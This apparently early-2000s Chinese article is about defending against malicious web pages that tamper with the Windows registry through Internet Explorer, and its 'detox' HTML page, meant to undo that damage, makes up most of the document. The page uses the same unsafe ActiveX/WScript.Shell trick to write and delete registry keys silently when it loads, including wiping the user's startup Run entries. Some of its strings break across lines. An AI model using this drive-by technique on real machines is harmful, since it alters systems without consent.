      现在上网如何防范、破解网页攻击已是一个紧迫的问题了，虽然金山公司提供了一个免费的“注册表修复器”，可以修复注册表，但对付一些“小儿科”的攻击网页还可以，如果是禁用多项功能的网页，嘿嘿，只能“走着瞧”了！不少文章介绍了设置禁用javascript脚本语言、禁用ActiveX、修改IE安全级别等方法来防范，虽然也可以，但这样做在以后的网页浏览过程中可能会造成一些正常使用ActiveX的网站无法浏览，这不亚于“汽车会撞死人，禁止使用汽车”！ 较好的方法是使用Norton AntiVirus 2002 v8.0杀毒软件，这个版本新增Script Blocking功能，将通过IE修改注册表的代码定义为Trojan.Offensive并予以拦截。
    其实我们也不必要一上网就运行一大堆保护软件来增大内存的负担，难道背着一大堆保护铁壳来个“龟兔赛跑”？既然我们已分析出了它的攻击原理，那就以其人之道还治其人之身吧，也编一个自动恢复注册表的网页，美其名曰“网页清热解毒丸”，建立在桌面上，什么时候惹火上身了，就“吞”它一颗，包你的电脑“开窍醒神、镇惊安神，清肝兼明目、清热解疮毒”，哈哈……
    下面，我就提供这个“网页清热解毒丸”的配方吧，会编网页的朋友就按方自行配制，不会的，那就上我网页（http://piaoyes.126.com）拿吧，希能救下你的电脑一命，至少也该胜造六级浮屠吧，善哉！善哉！
<html>
<head>
<title>网页清热解毒丸</title>
</head>
<body>
<script>
document.write("<APPLET HEIGHT=0 WIDTH=0
 code=com.ms.activeX.ActiveXComponent></APPLET>");
function f( )
{
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\Run\\internat.exe", "C:\\WINDOWS\\SYSTEM\\internat.exe");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\Policies\\Explorer\\NoFind","00000000", "REG_DWORD"); //修复查找按纽
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\Policies\\Explorer\\NoRecentDocsMenu", "00000000", "REG_DWORD"); //修复文档按纽
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\Policies\\System\\NoDispCPL","00000000", "REG_DWORD"); //修复显示属性
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\Policies\\System\\NoDispScrSavPage", "00000000", "REG_DWORD"); //修复屏幕保护程序
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\Policies\\System\\NoDispSettingsPage", "00000000", "REG_DWORD"); //修复效果，web，设置
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\Policies\\System\\NoDevMgrPage", "00000000", "REG_DWORD"); //修复设备管理器
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\Policies\\System\\NoConfigPage", "00000000", "REG_DWORD"); //修复硬件配置文件
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\Policies\\System\\NoVirtMemPage", "00000000", "REG_DWORD"); //虚拟内存
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\Policies\\System\\NoFileSysPage", "00000000", "REG_DWORD"); //修复文件系统
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\Policies\\Explorer\\NoDeletePrinter", "00000000", "REG_DWORD"); //删除打印机
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\Policies\\Explorer\\NoAddPrinter", "00000000", "REG_DWORD"); //添加打印机
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\Policies\\Explorer\\NoViewContextMenu", 00, "REG_BINARY"); //使用鼠标右键
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\Policies\\Explorer\\NoDesktop", "00000000", "REG_DWORD"); //桌面图标
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\Policies\\Explorer\\NoRun", 00, "REG_BINARY"); //修复RUN按纽
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\Policies\\Explorer\\NoClose", 00, "REG_BINARY"); //修复关闭按纽
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\Policies\\Explorer\\NoLogOff", 00, "REG_BINARY"); //修复注销按纽
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\Policies\\Explorer\\NoDrives", "00000000", "REG_DWORD"); //取消隐藏盘符
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows
\\CurrentVersion\\Policies\\System\\DisableRegistryTools",
"00000000", "REG_DWORD"); //取消禁止注册表
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\Policies\\WinOldApp\\Disabled", "00000000", "REG_DWORD"); //修复MSDOS方式
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\WinOldApp\\NoRealMode", "00000000", "REG_DWORD"); //修复切换到MS-DOS方式
Shl.RegWrite ("HKLM\\Software\\CLASSES\\.reg\\", "regfile"); //使用reg文件
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion
\\Winlogon\\LegalNoticeCaption", "");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion
\\Winlogon\\LegalNoticeText", "");
//重设开机提示
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Internet Explorer\Main\\Window Title", "Microsoft Internet Explorer");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\Main\\Window Title", "Microsoft Internet Explorer"); //重设IE标题
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Internet Explorer\Main\\Start Page", "about:blank");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\Main\\Start Page", "about:blank"); //IE首页为空
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\Main\\Search Page", "about:blank");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\Main\\Local Page","about:blank");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\Main\\Search Bar","16878");
Shl.RegDelete("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Search Bar");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\Main\\Search Page","16878");
Shl.RegDelete("HKCU\\Software\\Microsoft\\Internet Explorer\Main\\Search Page");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\Winlogon\\LegalNoticeCaption","16878");
Shl.RegDelete("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\Winlogon\\LegalNoticeCaption");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\Winlogon\\LegalNoticeText","16878");
Shl.RegDelete("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\Winlogon\\LegalNoticeText");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run
\\qwe","16878");
Shl.RegDelete("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run
\\qwe");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run
\\qww","16878");
Shl.RegDelete("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\Run\\qww");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\Explorer\\Doc Find Spec MRU\\16878","16878");
Shl.RegDelete("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\Explorer\\Doc Find Spec MRU\\");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer
\\Default_Search_URL","16878");
Shl.RegDelete("HKCU\\Software\\Microsoft\\Internet Explorer
\\Default_Search_URL");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\CurrentVersion\\Run\\16878","16878");
Shl.RegDelete("HKCU\\Software\\Microsoft\\Windows\CurrentVersion\\Run\\");
Shl.RegWrite
("HKCU\\Software\\Microsoft\\Internet Explorer
\\SearchURL","16878");
Shl.RegDelete("HKCU\\Software\\Microsoft\\Internet Explorer\\SearchURL");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\InternetExplorer
\\Extensions\\{8DE0FCD4-5EB5-11D3-AD25-00002100131c}
\\16878","16878");
Shl.RegDelete("HKCU\\Software\\Microsoft\\Internet Explorer
\\Extensions\\{8DE0FCD4-5EB5-11D3-AD25-00002100131c}\\"); Shl.RegWrite ("HKEY_CURRENT_USER\\Software\\Policies\\Microsoft
\\Internet Explorer\\Control Panel\\16878","16878");
Shl.RegDelete("HKEY_CURRENT_USER\\Software\\Policies\\Microsoft
\\Internet Explorer\\Control Panel\\");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion
\\Policies\\System\\16878","16878");
Shl.RegDelete("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion
\\Policies\\System\\");
Shl.RegWrite ("HKEY_USERS\\.DEFAULT\\Software\\Microsoft\\Windows
\\CurrentVersion\\Policies\\System\\16878","16878");
Shl.RegDelete("HKEY_USERS\\.DEFAULT\\Software\\Microsoft\\Windows
\\CurrentVersion\\Policies\\System\\");
Shl.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows
\\CurrentVersion\\Explorer\\Doc Find Spec
MRU\\16878","16878");
Shl.RegDelete("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows
\\CurrentVersion\\Explorer\\Doc Find Spec MRU\\");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion
\\Policies\\Explorer\\NoRun", "00000000", "REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion
\\Policies\\Explorer\\NoClose", "00000000", "REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion
\\Policies\\System\\DisableRegistryTools", "00000000", "REG_DWORD");
Shl.RegWrite ("HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\Internet Explorer\\Control Panel\\HomePage",00, "REG_BINARY");//
恢复修改主页按钮
Shl.RegWrite ("HKCU\\Identities\{5BE54740-60B7-11D2-AC3E-9B21A59A1F63}\\Username", "");
//清除Outlook Express用户名
Shl.RegWrite ("HKCU\\Identities\\{F03D8840-6881-11D2-883C-F2F34157927C}
\\Software\\Microsoft\\Outlook Express\\5.0\\windowTitle", ""); //
恢复Outlook Express的标题栏
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Toolbar\\backbitmapie5","0");
Shl.RegWrite ("HKCR\\CLSID\\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\\", "我的电脑");
Shl.RegWrite ("HKCU\\Software\\Classes\\CLSID\\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\\", "我的电脑");
Shl.RegWrite ("HKCR\\CLSID\\{645FF040-5081-101B-9F08-00AA002F954E}\\", "回收站");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\Policies\\Explorer\\NoSetTaskBar", "0","REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\Policies\\Explorer\\NoFolderOptions","0","REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\CLASSES\\CLSID\\{01E04581-4EEE-11d0-BFE9-00AA005B4383}\\InProcServer32\\","C:\\WINDOWS\\SYSTEM\\BROWSEUI.DLL");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\Policies\\Explorer\\NoSetFolders","0","REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoBrowserContextMenu","0","REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoBrowserOptions","0","REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoBrowserSaveAs","0","REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoFileOpen","0","REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoTheaterMode","0","REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\Control Panel\\Advanced","0","REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\Cache
Internet","0","REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\AutoConfig","0","REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\History","0","REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\Connwiz Admin
Lock","0","REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\Check_If_Default","0","REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\ContentTab","0","REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\SecurityTab","0","REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\ResetWebSettings","0","REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\Settings","0","REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoViewSource","0","REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Infodelivery\\Restrictions\\NoAddingSubScriptions","0","REG_DWORD");
Shl.RegWrite ("HKCU\\SoftWare\\Microsoft\\Windows\\CurrentVersion\Policies\\Explorer\\RestrictRun","0","REG_DWORD");
Shl.RegWrite ("HKCU\\SoftWare\\Microsoft\\Windows\\CurrentVersion\Policies\\Explorer\\NoFileMenu","0","REG_DWORD");
}
function init( )
{
setTimeout("f( )", 1000);
}
init( );
</script>
<p><font face="隶书" size="7" color="#FF0000"> 网页清热解毒丸</font></p>
<hr>
<p><font face="宋体" size="5" color="#FF0000"> 现在已经把你的电脑服下了我的“清热解毒丸”，已经消毒啦！如果有些还没有恢复，请重新启动一次即可</font></p>
<p><font face="宋体" size="5" color="#FF0000"> ——飘叶</font></p>
</body>
</html>